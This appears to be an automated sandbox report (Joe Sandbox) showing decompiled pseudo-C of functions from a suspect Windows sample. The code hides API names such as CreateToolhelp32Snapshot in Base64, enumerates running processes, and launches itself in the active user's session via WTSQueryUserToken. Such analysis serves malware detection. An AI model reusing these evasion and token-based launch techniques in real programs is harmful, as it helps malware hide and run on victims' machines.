0x00416491
0x00416492
0x00416492
0x00416471
0x00416495
0x0041649e
0x004164a5
0x004164a9
0x004164ab
0x004164ab
0x004164b3
0x004164b8
0x004164b8
0x004164c0
0x004164c1
0x004164c1
0x004164c1
0x0041645d
0x004164cb
0x004164d6
0x004164d9
0x004164e0
0x004164e3
0x004164e5
0x004164e5
0x004164f3
0x004164fc
0x00416503
0x0041653e
0x0041654a
0x00416553
0x00416558
0x0041655e
0x0041656b
0x00416505
0x00416505
0x00416511
0x0041651a
0x0041651f
0x00416525
0x0041652a
0x00416537
0x00416537
0x0041657a
0x00416589
0x00416598
0x00416598
0x004165a3
0x004165a8
0x004165a9
0x004165a9
0x004165a9
0x004164e5
0x004165b4
0x004165b7
0x004165ba
0x004165ca
0x004165d2
0x004165da
0x004165e5

APIs

LoadLibraryA.KERNEL32(kernel32.dll), ref: 00416320
GetProcAddress.KERNEL32(00000000,kernel32.dll,00000000,00000000,004165E6,?,-00000001,?,?,?,00416BCE,?,00000001,,?,?), ref: 00416326
LoadLibraryA.KERNEL32(kernel32.dll), ref: 0041634E
GetProcAddress.KERNEL32(00000000,kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,004165E6,?,-00000001,?,?,?,00416BCE,?,00000001), ref: 00416354
LoadLibraryA.KERNEL32(00000000), ref: 00416393
GetProcAddress.KERNEL32(00000000,00000000,00000000,00000000,kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,004165E6,?,-00000001,?,?), ref: 00416399
GetCurrentProcessId.KERNEL32(?,-00000001,?,?,?,00416BCE,?,00000001,,?,?,,?,Zone: ,?,00416CC4), ref: 004164C6

Strings

UHJvY2VzczMyTmV4dFc=, xrefs: 00416361
UHJvY2VzczMyRmlyc3RX, xrefs: 00416333
kernel32.dll, xrefs: 0041631B, 00416349
Q3JlYXRlVG9vbGhlbHAzMlNuYXBzaG90, xrefs: 00416305
a2VybmVsMzIuZGxs, xrefs: 0041637D
`A, xrefs: 004163E3, 004165DA

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: AddressLibraryLoadProc$CurrentProcess
String ID: Q3JlYXRlVG9vbGhlbHAzMlNuYXBzaG90$UHJvY2VzczMyRmlyc3RX$UHJvY2VzczMyTmV4dFc=$a2VybmVsMzIuZGxs$kernel32.dll$`A
API String ID: 3877065590-3005690938
Opcode ID: 3d762b16971f9681a32a0217b056933baf255ef4381506051aac32079abae0df
Instruction ID: 67278170e91c31cc6e542a24f092c99a4e60002f621039dc7dfe152e0641e341
Opcode Fuzzy Hash: 3d762b16971f9681a32a0217b056933baf255ef4381506051aac32079abae0df
Instruction Fuzzy Hash: 679184709001199BCB10EF99C985ADEB7B9FF84304F2181BAE509B7291D739EF858F58

Uniqueness

Uniqueness Score: 100.00%

Function 004162A8, Relevance: 23.0, APIs: 7, Strings: 6, Instructions: 216
libraryloaderUNIQUE

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 71%

			E004162A8(intOrPtr* __eax, void* __ebx, void* __edi, void* __esi) {
				char _v8;
				long _v12;
				signed int _v16;
				char _v17;
				char _v24;
				char _v28;
				char _v584;
				char _v588;
				char _v592;
				char _v596;
				char _v600;
				char _v604;
				char _v608;
				char _v612;
				signed int _t109;
				signed int _t110;
				CHAR* _t115;
				CHAR* _t121;
				CHAR* _t127;
				void* _t139;
				void* _t143;
				void* _t171;
				signed int _t172;
				void* _t173;
				intOrPtr* _t176;
				signed int _t185;
				intOrPtr* _t194;
				void* _t195;
				signed int _t196;
				signed int _t197;
				intOrPtr _t216;
				intOrPtr _t218;
				signed int _t231;
				intOrPtr* _t241;
				signed int _t242;
				signed int _t244;
				void* _t245;
				void* _t246;
				void* _t248;
				intOrPtr _t249;

				_t240 = __esi;
				_t109 = __eax +  *__eax;
				 *_t109 =  *_t109 + _t109;
				_t110 = _t109 | 0x5500000a;
				_t247 = _t248;
				_t249 = _t248 + 0xfffffda0;
				_v612 = 0;
				_v608 = 0;
				_v604 = 0;
				_v596 = 0;
				_v600 = 0;
				_v592 = 0;
				_v588 = 0;
				_v8 = 0;
				_v24 = 0;
				_v16 = _t110;
				 *[fs:eax] = _t249;
				E004069A8("Q3JlYXRlVG9vbGhlbHAzMlNuYXBzaG90", __ebx,  &_v588, __edi, __esi);
				_t115 = E00403990(_v588);
				_t194 = GetProcAddress(LoadLibraryA("kernel32.dll"), _t115);
				E004069A8("UHJvY2VzczMyRmlyc3RX", _t194,  &_v592, __edi, __esi);
				_t121 = E00403990(_v592);
				_t237 = GetProcAddress(LoadLibraryA("kernel32.dll"), _t121);
				E004069A8("UHJvY2VzczMyTmV4dFc=", _t194,  &_v596, _t237, __esi);
				_t127 = E00403990(_v596);
				E004069A8("a2VybmVsMzIuZGxs", _t194,  &_v600, _t237, _t240);
				_t241 = GetProcAddress(LoadLibraryA(E00403990(_v600)), _t127);
				E004034E4(_v16);
				_t195 =  *_t194(2, 0,  *[fs:eax], 0x4165e6, _t248, __edi, __esi, __ebx, _t246);
				if(_t195 != 0xffffffff) {
					_v584 = 0x22c;
					_push( &_v584);
					_push(_t195);
					if( *_t237() != 0) {
						do {
							_push(E00404648(_v8) + 1);
							E00404804();
							_t185 = E00404648(_v8);
							_t245 =  &_v584;
							memcpy(_v8 + _t185 * 0x8b * 4 - 0x22c, _t245, 0x8b << 2);
							_t249 = _t249 + 0x10;
							_t237 = _t245 + 0x116;
							_t241 = _t241;
							 *((intOrPtr*)(_v8 + E00404648(_v8) * 0x8b * 4 - 0x20c)) = 0;
							_push( &_v584);
							_push(_t195);
						} while ( *_t241() != 0);
					}
					_t176 =  *0x41b1b4; // 0x41c690
					 *((intOrPtr*)( *_t176))(_t195);
				}
				_t139 = E00404648(_v8) - 1;
				if(_t139 >= 0) {
					_v28 = _t139 + 1;
					_t197 = 0;
					do {
						_v17 = 1;
						_t171 = E00404648(_v8) - 1;
						if(_t171 >= 0) {
							_t173 = _t171 + 1;
							_t231 = 0;
							do {
								_t43 = _t197 * 0x8b * 4; // 0x0
								_t244 = _t231 * 0x8b;
								_t237 = _v8;
								_t47 = _t244 * 4; // 0x1ffff
								if( *((intOrPtr*)(_v8 + _t43 + 0x18)) ==  *((intOrPtr*)(_v8 + _t47 + 8))) {
									_v17 = 0;
								}
								_t231 = _t231 + 1;
								_t173 = _t173 - 1;
							} while (_t173 != 0);
						}
						_t172 = _t197 * 0x8b;
						_t52 = _t172 * 4; // 0x0
						_t56 = _t172 * 4; // 0x1ffff
						if( *((intOrPtr*)(_v8 + _t52 + 0x18)) ==  *((intOrPtr*)(_v8 + _t56 + 8))) {
							_v17 = 1;
						}
						if(_v17 == 1) {
							 *((intOrPtr*)(_v8 + 0x20 + _t172 * 4)) = 1;
						}
						_t197 = _t197 + 1;
						_t64 =  &_v28;
						 *_t64 = _v28 - 1;
					} while ( *_t64 != 0);
				}
				_v12 = GetCurrentProcessId();
				_t143 = E00404648(_v8) - 1;
				if(_t143 >= 0) {
					_v28 = _t143 + 1;
					_t196 = 0;
					do {
						_t242 = _t196 * 0x8b;
						if( *((intOrPtr*)(_v8 + 0x20 + _t242 * 4)) == 1) {
							_t75 = _t242 * 4; // 0x1ffff
							if( *((intOrPtr*)(_v8 + _t75 + 8)) != _v12) {
								_push(_v24);
								_t90 = _t242 * 4; // 0x0
								E00403760( &_v608, 0x104, _v8 + _t90 + 0x24);
								_push(_v608);
								_push(E004166A0);
								E00403850();
							} else {
								_push(_v24);
								_t82 = _t242 * 4; // 0x0
								E00403760( &_v604, 0x104, _v8 + _t82 + 0x24);
								_push(_v604);
								_push(0x416694);
								_push(E004166A0);
								E00403850();
							}
							_t96 = _t196 * 0x8b * 4; // 0x1ffff
							E0041610C( *((intOrPtr*)(_v8 + _t96 + 8)), _t196,  &_v612, 1, _t237, _t242, _t247);
							E00403798( &_v24, _v612);
						}
						E00403538(_v16, _v24);
						_t196 = _t196 + 1;
						_t103 =  &_v28;
						 *_t103 = _v28 - 1;
					} while ( *_t103 != 0);
				}
				_pop(_t216);
				 *[fs:eax] = _t216;
				_push(E004165ED);
				E00403508( &_v612, 7);
				E004034E4( &_v24);
				_t218 =  *0x4160e4; // 0x4160e8
				return E00404810( &_v8, _t218);
			}

0x004162a8
0x004162a8
0x004162aa
0x004162ac
0x004162b1
0x004162b3
0x004162be
0x004162c4
0x004162ca
0x004162d0
0x004162d6
0x004162dc
0x004162e2
0x004162e8
0x004162eb
0x004162ee
0x004162fc
0x0041630a
0x00416315
0x0041632b
0x00416338
0x00416343
0x00416359
0x00416366
0x00416371
0x00416382
0x0041639e
0x004163a3
0x004163ae
0x004163b3
0x004163b9
0x004163c9
0x004163ca
0x004163cf
0x004163d1
0x004163da
0x004163e9
0x004163f4
0x0041640a
0x00416415
0x00416415
0x00416415
0x00416417
0x0041642b
0x00416438
0x00416439
0x0041643c
0x004163d1
0x00416441
0x00416448
0x00416448
0x00416452
0x00416455
0x00416458
0x0041645b
0x0041645d
0x0041645d
0x00416469
0x0041646c
0x0041646e
0x0041646f
0x00416471
0x0041647a
0x0041647e
0x00416484
0x00416487
0x0041648b
0x0041648d
0x0041648d
0x00416491
0x00416492
0x00416492
0x00416471
0x00416495
0x0041649e
0x004164a5
0x004164a9
0x004164ab
0x004164ab
0x004164b3
0x004164b8
0x004164b8
0x004164c0
0x004164c1
0x004164c1
0x004164c1
0x0041645d
0x004164cb
0x004164d6
0x004164d9
0x004164e0
0x004164e3
0x004164e5
0x004164e5
0x004164f3
0x004164fc
0x00416503
0x0041653e
0x0041654a
0x00416553
0x00416558
0x0041655e
0x0041656b
0x00416505
0x00416505
0x00416511
0x0041651a
0x0041651f
0x00416525
0x0041652a
0x00416537
0x00416537
0x0041657a
0x00416589
0x00416598
0x00416598
0x004165a3
0x004165a8
0x004165a9
0x004165a9
0x004165a9
0x004164e5
0x004165b4
0x004165b7
0x004165ba
0x004165ca
0x004165d2
0x004165da
0x004165e5

APIs

LoadLibraryA.KERNEL32(kernel32.dll), ref: 00416320
GetProcAddress.KERNEL32(00000000,kernel32.dll,00000000,00000000,004165E6,?,-00000001,?,?,?,00416BCE,?,00000001,,?,?), ref: 00416326
LoadLibraryA.KERNEL32(kernel32.dll), ref: 0041634E
GetProcAddress.KERNEL32(00000000,kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,004165E6,?,-00000001,?,?,?,00416BCE,?,00000001), ref: 00416354
LoadLibraryA.KERNEL32(00000000), ref: 00416393
GetProcAddress.KERNEL32(00000000,00000000,00000000,00000000,kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,004165E6,?,-00000001,?,?), ref: 00416399
GetCurrentProcessId.KERNEL32(?,-00000001,?,?,?,00416BCE,?,00000001,,?,?,,?,Zone: ,?,00416CC4), ref: 004164C6

Strings

UHJvY2VzczMyTmV4dFc=, xrefs: 00416361
UHJvY2VzczMyRmlyc3RX, xrefs: 00416333
kernel32.dll, xrefs: 0041631B, 00416349
Q3JlYXRlVG9vbGhlbHAzMlNuYXBzaG90, xrefs: 00416305
a2VybmVsMzIuZGxs, xrefs: 0041637D
`A, xrefs: 004163E3, 004165DA

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: AddressLibraryLoadProc$CurrentProcess
String ID: Q3JlYXRlVG9vbGhlbHAzMlNuYXBzaG90$UHJvY2VzczMyRmlyc3RX$UHJvY2VzczMyTmV4dFc=$a2VybmVsMzIuZGxs$kernel32.dll$`A
API String ID: 3877065590-3005690938
Opcode ID: 52c742770dbadb1d10a550f39e4dc853a2ca85f3d2489b63f13668aaeeacf497
Instruction ID: 6248dc0f45d153d3d9923ca8400dc11361dccf40d7e1b6d03c7d8f30243dd753
Opcode Fuzzy Hash: 52c742770dbadb1d10a550f39e4dc853a2ca85f3d2489b63f13668aaeeacf497
Instruction Fuzzy Hash: 0B9195709001199BCB10EF99C985ADEB7B9FF84304F5181BBE409B7291D739EF818B58

Uniqueness

Uniqueness Score: 100.00%

Function 004162AC, Relevance: 23.0, APIs: 7, Strings: 6, Instructions: 214
libraryloaderUNIQUE

C-Code - Quality: 71%

			E004162AC(signed int __eax, void* __ebx, void* __edi, void* __esi) {
				char _v8;
				long _v12;
				signed int _v16;
				char _v17;
				char _v24;
				char _v28;
				char _v584;
				char _v588;
				char _v592;
				char _v596;
				char _v600;
				char _v604;
				char _v608;
				char _v612;
				signed int _t109;
				CHAR* _t114;
				CHAR* _t120;
				CHAR* _t126;
				void* _t138;
				void* _t142;
				void* _t170;
				signed int _t171;
				void* _t172;
				intOrPtr* _t175;
				signed int _t184;
				intOrPtr* _t193;
				void* _t194;
				signed int _t195;
				signed int _t196;
				intOrPtr _t215;
				intOrPtr _t217;
				signed int _t230;
				intOrPtr* _t240;
				signed int _t241;
				signed int _t243;
				void* _t244;
				void* _t245;
				void* _t247;
				intOrPtr _t248;

				_t239 = __esi;
				_t109 = __eax | 0x5500000a;
				_t246 = _t247;
				_t248 = _t247 + 0xfffffda0;
				_v612 = 0;
				_v608 = 0;
				_v604 = 0;
				_v596 = 0;
				_v600 = 0;
				_v592 = 0;
				_v588 = 0;
				_v8 = 0;
				_v24 = 0;
				_v16 = _t109;
				 *[fs:eax] = _t248;
				E004069A8("Q3JlYXRlVG9vbGhlbHAzMlNuYXBzaG90", __ebx,  &_v588, __edi, __esi);
				_t114 = E00403990(_v588);
				_t193 = GetProcAddress(LoadLibraryA("kernel32.dll"), _t114);
				E004069A8("UHJvY2VzczMyRmlyc3RX", _t193,  &_v592, __edi, __esi);
				_t120 = E00403990(_v592);
				_t236 = GetProcAddress(LoadLibraryA("kernel32.dll"), _t120);
				E004069A8("UHJvY2VzczMyTmV4dFc=", _t193,  &_v596, _t236, __esi);
				_t126 = E00403990(_v596);
				E004069A8("a2VybmVsMzIuZGxs", _t193,  &_v600, _t236, _t239);
				_t240 = GetProcAddress(LoadLibraryA(E00403990(_v600)), _t126);
				E004034E4(_v16);
				_t194 =  *_t193(2, 0,  *[fs:eax], 0x4165e6, _t247, __edi, __esi, __ebx, _t245);
				if(_t194 != 0xffffffff) {
					_v584 = 0x22c;
					_push( &_v584);
					_push(_t194);
					if( *_t236() != 0) {
						do {
							_push(E00404648(_v8) + 1);
							E00404804();
							_t184 = E00404648(_v8);
							_t244 =  &_v584;
							memcpy(_v8 + _t184 * 0x8b * 4 - 0x22c, _t244, 0x8b << 2);
							_t248 = _t248 + 0x10;
							_t236 = _t244 + 0x116;
							_t240 = _t240;
							 *((intOrPtr*)(_v8 + E00404648(_v8) * 0x8b * 4 - 0x20c)) = 0;
							_push( &_v584);
							_push(_t194);
						} while ( *_t240() != 0);
					}
					_t175 =  *0x41b1b4; // 0x41c690
					 *((intOrPtr*)( *_t175))(_t194);
				}
				_t138 = E00404648(_v8) - 1;
				if(_t138 >= 0) {
					_v28 = _t138 + 1;
					_t196 = 0;
					do {
						_v17 = 1;
						_t170 = E00404648(_v8) - 1;
						if(_t170 >= 0) {
							_t172 = _t170 + 1;
							_t230 = 0;
							do {
								_t43 = _t196 * 0x8b * 4; // 0x0
								_t243 = _t230 * 0x8b;
								_t236 = _v8;
								_t47 = _t243 * 4; // 0x1ffff
								if( *((intOrPtr*)(_v8 + _t43 + 0x18)) ==  *((intOrPtr*)(_v8 + _t47 + 8))) {
									_v17 = 0;
								}
								_t230 = _t230 + 1;
								_t172 = _t172 - 1;
							} while (_t172 != 0);
						}
						_t171 = _t196 * 0x8b;
						_t52 = _t171 * 4; // 0x0
						_t56 = _t171 * 4; // 0x1ffff
						if( *((intOrPtr*)(_v8 + _t52 + 0x18)) ==  *((intOrPtr*)(_v8 + _t56 + 8))) {
							_v17 = 1;
						}
						if(_v17 == 1) {
							 *((intOrPtr*)(_v8 + 0x20 + _t171 * 4)) = 1;
						}
						_t196 = _t196 + 1;
						_t64 =  &_v28;
						 *_t64 = _v28 - 1;
					} while ( *_t64 != 0);
				}
				_v12 = GetCurrentProcessId();
				_t142 = E00404648(_v8) - 1;
				if(_t142 >= 0) {
					_v28 = _t142 + 1;
					_t195 = 0;
					do {
						_t241 = _t195 * 0x8b;
						if( *((intOrPtr*)(_v8 + 0x20 + _t241 * 4)) == 1) {
							_t75 = _t241 * 4; // 0x1ffff
							if( *((intOrPtr*)(_v8 + _t75 + 8)) != _v12) {
								_push(_v24);
								_t90 = _t241 * 4; // 0x0
								E00403760( &_v608, 0x104, _v8 + _t90 + 0x24);
								_push(_v608);
								_push(E004166A0);
								E00403850();
							} else {
								_push(_v24);
								_t82 = _t241 * 4; // 0x0
								E00403760( &_v604, 0x104, _v8 + _t82 + 0x24);
								_push(_v604);
								_push(0x416694);
								_push(E004166A0);
								E00403850();
							}
							_t96 = _t195 * 0x8b * 4; // 0x1ffff
							E0041610C( *((intOrPtr*)(_v8 + _t96 + 8)), _t195,  &_v612, 1, _t236, _t241, _t246);
							E00403798( &_v24, _v612);
						}
						E00403538(_v16, _v24);
						_t195 = _t195 + 1;
						_t103 =  &_v28;
						 *_t103 = _v28 - 1;
					} while ( *_t103 != 0);
				}
				_pop(_t215);
				 *[fs:eax] = _t215;
				_push(E004165ED);
				E00403508( &_v612, 7);
				E004034E4( &_v24);
				_t217 =  *0x4160e4; // 0x4160e8
				return E00404810( &_v8, _t217);
			}

0x004162ac
0x004162ac
0x004162b1
0x004162b3
0x004162be
0x004162c4
0x004162ca
0x004162d0
0x004162d6
0x004162dc
0x004162e2
0x004162e8
0x004162eb
0x004162ee
0x004162fc
0x0041630a
0x00416315
0x0041632b
0x00416338
0x00416343
0x00416359
0x00416366
0x00416371
0x00416382
0x0041639e
0x004163a3
0x004163ae
0x004163b3
0x004163b9
0x004163c9
0x004163ca
0x004163cf
0x004163d1
0x004163da
0x004163e9
0x004163f4
0x0041640a
0x00416415
0x00416415
0x00416415
0x00416417
0x0041642b
0x00416438
0x00416439
0x0041643c
0x004163d1
0x00416441
0x00416448
0x00416448
0x00416452
0x00416455
0x00416458
0x0041645b
0x0041645d
0x0041645d
0x00416469
0x0041646c
0x0041646e
0x0041646f
0x00416471
0x0041647a
0x0041647e
0x00416484
0x00416487
0x0041648b
0x0041648d
0x0041648d
0x00416491
0x00416492
0x00416492
0x00416471
0x00416495
0x0041649e
0x004164a5
0x004164a9
0x004164ab
0x004164ab
0x004164b3
0x004164b8
0x004164b8
0x004164c0
0x004164c1
0x004164c1
0x004164c1
0x0041645d
0x004164cb
0x004164d6
0x004164d9
0x004164e0
0x004164e3
0x004164e5
0x004164e5
0x004164f3
0x004164fc
0x00416503
0x0041653e
0x0041654a
0x00416553
0x00416558
0x0041655e
0x0041656b
0x00416505
0x00416505
0x00416511
0x0041651a
0x0041651f
0x00416525
0x0041652a
0x00416537
0x00416537
0x0041657a
0x00416589
0x00416598
0x00416598
0x004165a3
0x004165a8
0x004165a9
0x004165a9
0x004165a9
0x004164e5
0x004165b4
0x004165b7
0x004165ba
0x004165ca
0x004165d2
0x004165da
0x004165e5

APIs

LoadLibraryA.KERNEL32(kernel32.dll), ref: 00416320
GetProcAddress.KERNEL32(00000000,kernel32.dll,00000000,00000000,004165E6,?,-00000001,?,?,?,00416BCE,?,00000001,,?,?), ref: 00416326
LoadLibraryA.KERNEL32(kernel32.dll), ref: 0041634E
GetProcAddress.KERNEL32(00000000,kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,004165E6,?,-00000001,?,?,?,00416BCE,?,00000001), ref: 00416354
LoadLibraryA.KERNEL32(00000000), ref: 00416393
GetProcAddress.KERNEL32(00000000,00000000,00000000,00000000,kernel32.dll,00000000,00000000,kernel32.dll,00000000,00000000,004165E6,?,-00000001,?,?), ref: 00416399
GetCurrentProcessId.KERNEL32(?,-00000001,?,?,?,00416BCE,?,00000001,,?,?,,?,Zone: ,?,00416CC4), ref: 004164C6

Strings

UHJvY2VzczMyTmV4dFc=, xrefs: 00416361
UHJvY2VzczMyRmlyc3RX, xrefs: 00416333
kernel32.dll, xrefs: 0041631B, 00416349
Q3JlYXRlVG9vbGhlbHAzMlNuYXBzaG90, xrefs: 00416305
a2VybmVsMzIuZGxs, xrefs: 0041637D
`A, xrefs: 004163E3, 004165DA

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: AddressLibraryLoadProc$CurrentProcess
String ID: Q3JlYXRlVG9vbGhlbHAzMlNuYXBzaG90$UHJvY2VzczMyRmlyc3RX$UHJvY2VzczMyTmV4dFc=$a2VybmVsMzIuZGxs$kernel32.dll$`A
API String ID: 3877065590-3005690938
Opcode ID: b56aaa5e619d241b75812dd33e41e4541456637ab9af09e9ae4de5af733aa53d
Instruction ID: 6a8f6cfc4904730716ef1b7fa223a98f4581e4ddaa420209d4ab18470a519fff
Opcode Fuzzy Hash: b56aaa5e619d241b75812dd33e41e4541456637ab9af09e9ae4de5af733aa53d
Instruction Fuzzy Hash: F28195709001199BCB10EF99C985ADEB7B9FF84304F5181BAE409B7291D739EF818B58

Uniqueness

Uniqueness Score: 100.00%

Function 00407E8C, Relevance: 22.8, APIs: 6, Strings: 7, Instructions: 100
libraryloaderUNIQUE

C-Code - Quality: 49%

			E00407E8C(intOrPtr* __eax, void* __ebx, void* __edx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v36;
				intOrPtr _v100;
				char _v104;
				char _v108;
				char _v112;
				intOrPtr _v117;
				_Unknown_base(*)()* _t28;
				_Unknown_base(*)()* _t30;
				intOrPtr* _t61;
				intOrPtr _t74;
				intOrPtr* _t76;
				void* _t79;
				void* _t81;

				 *__eax =  *__eax + __eax;
				_v117 = _v117 + __edx;
				_v112 = 0;
				_v12 = 0;
				_v20 = 0;
				 *[fs:eax] = _t81 + 0xffffff98;
				_t28 = GetProcAddress(LoadLibraryA("kernel32.dll"), "WTSGetActiveConsoleSessionId");
				_t30 = GetProcAddress(LoadLibraryA("wtsapi32.dll"), "WTSQueryUserToken");
				_t76 = GetProcAddress(LoadLibraryA("userenv.dll"), "CreateEnvironmentBlock");
				E00402754(0,  &_v112);
				E00403D88( &_v20, _v112);
				E00404F5C();
				_v108 = 0x44;
				_v100 = 0;
				 *_t28( *[fs:eax], 0x407fa6, _t81, __edi, __esi, __ebx, _t79, __ebx);
				_push( &_v16);
				_push(0);
				if( *_t30() != 0) {
					 *_t76( &_v20, _v12, 0xffffffff);
					_t61 =  *0x41b32c; // 0x41c724
					 *((intOrPtr*)( *_t61))(_v12, E00403D98(_v16), E00403D98(_v8), 0, 0, 0, 0x400, _v20, 0,  &_v104,  &_v36);
					asm("sbb eax, eax");
				}
				_pop(_t74);
				 *[fs:eax] = _t74;
				_push(E00407FAD);
				E004034E4( &_v108);
				E00403BDC( &_v16);
				return E00403BDC( &_v8);
			}

0x00407e8d
0x00407e8f
0x00407e9b
0x00407e9e
0x00407ea1
0x00407eaf
0x00407ec2
0x00407ed9
0x00407ef5
0x00407efc
0x00407f07
0x00407f14
0x00407f19
0x00407f22
0x00407f25
0x00407f2c
0x00407f2d
0x00407f32
0x00407f3e
0x00407f6f
0x00407f76
0x00407f7b
0x00407f7e
0x00407f82
0x00407f85
0x00407f88
0x00407f90
0x00407f98
0x00407fa5

APIs

LoadLibraryA.KERNEL32(kernel32.dll), ref: 00407EBC
GetProcAddress.KERNEL32(00000000,kernel32.dll,WTSGetActiveConsoleSessionId,00000000,00407FA6,?,-00000001), ref: 00407EC2
LoadLibraryA.KERNEL32(wtsapi32.dll), ref: 00407ED3
GetProcAddress.KERNEL32(00000000,wtsapi32.dll,WTSQueryUserToken,00000000,kernel32.dll,WTSGetActiveConsoleSessionId,00000000,00407FA6,?,-00000001), ref: 00407ED9
LoadLibraryA.KERNEL32(userenv.dll), ref: 00407EEA
GetProcAddress.KERNEL32(00000000,userenv.dll,CreateEnvironmentBlock,00000000,wtsapi32.dll,WTSQueryUserToken,00000000,kernel32.dll,WTSGetActiveConsoleSessionId,00000000,00407FA6,?,-00000001), ref: 00407EF0

Part of subcall function 00402754: GetModuleFileNameA.KERNEL32(00000000,?,00000105,-00000001,?,?,004195CF,?), ref: 00402778
Part of subcall function 00402754: GetCommandLineA.KERNEL32(-00000001,?,?,004195CF,?), ref: 0040278A

Part of subcall function 00403BDC: 77EE4513.OLEAUT32(?,?,00406F3F,?,?,?,?,00406D2D,00000000,00406E52,?,?,?,00000006,00000000,00000000), ref: 00403BEA

Strings

CreateEnvironmentBlock, xrefs: 00407EE0
WTSQueryUserToken, xrefs: 00407EC9
kernel32.dll, xrefs: 00407EB7
wtsapi32.dll, xrefs: 00407ECE
userenv.dll, xrefs: 00407EE5
D, xrefs: 00407F19
WTSGetActiveConsoleSessionId, xrefs: 00407EB2

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

API ID: AddressLibraryLoadProc$CommandE4513FileLineModuleName
String ID: CreateEnvironmentBlock$D$WTSGetActiveConsoleSessionId$WTSQueryUserToken$kernel32.dll$userenv.dll$wtsapi32.dll
API String ID: 3826790382-1825016774
Opcode ID: 3c32398ddf88f9e6adba8c31c2dceaa44410c541091d8fee3695f8f8a8155812
Instruction ID: ac0e2f41aa2f423c9d9a8d80f7c11eaba859030c7a64cc794fed102b433a0b1d
Opcode Fuzzy Hash: 3c32398ddf88f9e6adba8c31c2dceaa44410c541091d8fee3695f8f8a8155812
Instruction Fuzzy Hash: 2A3139B1A44208AEDB00EBE5CC42F9EBBB8AB49704F50057AF514F71D1DA78AA058B58

Uniqueness

Uniqueness Score: 100.00%

Function 00407E90, Relevance: 22.8, APIs: 6, Strings: 7, Instructions: 98
libraryloaderUNIQUE

C-Code - Quality: 48%

			E00407E90(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v36;
				intOrPtr _v96;
				char _v104;
				char _v108;
				_Unknown_base(*)()* _t25;
				_Unknown_base(*)()* _t27;
				intOrPtr* _t58;
				intOrPtr _t71;
				intOrPtr* _t73;
				void* _t76;
				void* _t78;

				_v108 = 0;
				_v8 = 0;
				_v16 = 0;
				 *[fs:eax] = _t78 + 0xffffff98;
				_t25 = GetProcAddress(LoadLibraryA("kernel32.dll"), "WTSGetActiveConsoleSessionId");
				_t27 = GetProcAddress(LoadLibraryA("wtsapi32.dll"), "WTSQueryUserToken");
				_t73 = GetProcAddress(LoadLibraryA("userenv.dll"), "CreateEnvironmentBlock");
				E00402754(0,  &_v108);
				E00403D88( &_v16, _v108);
				E00404F5C();
				_v104 = 0x44;
				_v96 = 0;
				 *_t25( *[fs:eax], 0x407fa6, _t78, __edi, __esi, __ebx, _t76);
				_push( &_v12);
				_push(0);
				if( *_t27() != 0) {
					 *_t73( &_v20, _v12, 0xffffffff);
					_t58 =  *0x41b32c; // 0x41c724
					 *((intOrPtr*)( *_t58))(_v12, E00403D98(_v16), E00403D98(_v8), 0, 0, 0, 0x400, _v20, 0,  &_v104,  &_v36);
					asm("sbb eax, eax");
				}
				_pop(_t71);
				 *[fs:eax] = _t71;
				_push(E00407FAD);
				E004034E4( &_v108);
				E00403BDC( &_v16);
				return E00403BDC( &_v8);
			}

0x00407e9b
0x00407e9e
0x00407ea1
0x00407eaf
0x00407ec2
0x00407ed9
0x00407ef5
0x00407efc
0x00407f07
0x00407f14
0x00407f19
0x00407f22
0x00407f25
0x00407f2c
0x00407f2d
0x00407f32
0x00407f3e
0x00407f6f
0x00407f76
0x00407f7b
0x00407f7e
0x00407f82
0x00407f85
0x00407f88
0x00407f90
0x00407f98
0x00407fa5

APIs

LoadLibraryA.KERNEL32(kernel32.dll), ref: 00407EBC
GetProcAddress.KERNEL32(00000000,kernel32.dll,WTSGetActiveConsoleSessionId,00000000,00407FA6,?,-00000001), ref: 00407EC2
LoadLibraryA.KERNEL32(wtsapi32.dll), ref: 00407ED3
GetProcAddress.KERNEL32(00000000,wtsapi32.dll,WTSQueryUserToken,00000000,kernel32.dll,WTSGetActiveConsoleSessionId,00000000,00407FA6,?,-00000001), ref: 00407ED9
LoadLibraryA.KERNEL32(userenv.dll), ref: 00407EEA
GetProcAddress.KERNEL32(00000000,userenv.dll,CreateEnvironmentBlock,00000000,wtsapi32.dll,WTSQueryUserToken,00000000,kernel32.dll,WTSGetActiveConsoleSessionId,00000000,00407FA6,?,-00000001), ref: 00407EF0

Part of subcall function 00402754: GetModuleFileNameA.KERNEL32(00000000,?,00000105,-00000001,?,?,004195CF,?), ref: 00402778
Part of subcall function 00402754: GetCommandLineA.KERNEL32(-00000001,?,?,004195CF,?), ref: 0040278A

Part of subcall function 00403BDC: 77EE4513.OLEAUT32(?,?,00406F3F,?,?,?,?,00406D2D,00000000,00406E52,?,?,?,00000006,00000000,00000000), ref: 00403BEA

Strings

CreateEnvironmentBlock, xrefs: 00407EE0
WTSQueryUserToken, xrefs: 00407EC9
kernel32.dll, xrefs: 00407EB7
wtsapi32.dll, xrefs: 00407ECE
userenv.dll, xrefs: 00407EE5
D, xrefs: 00407F19
WTSGetActiveConsoleSessionId, xrefs: 00407EB2

Memory Dump Source

Source File: 00000009.00000002.629956817.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_159753404015476.jbxd

Similarity

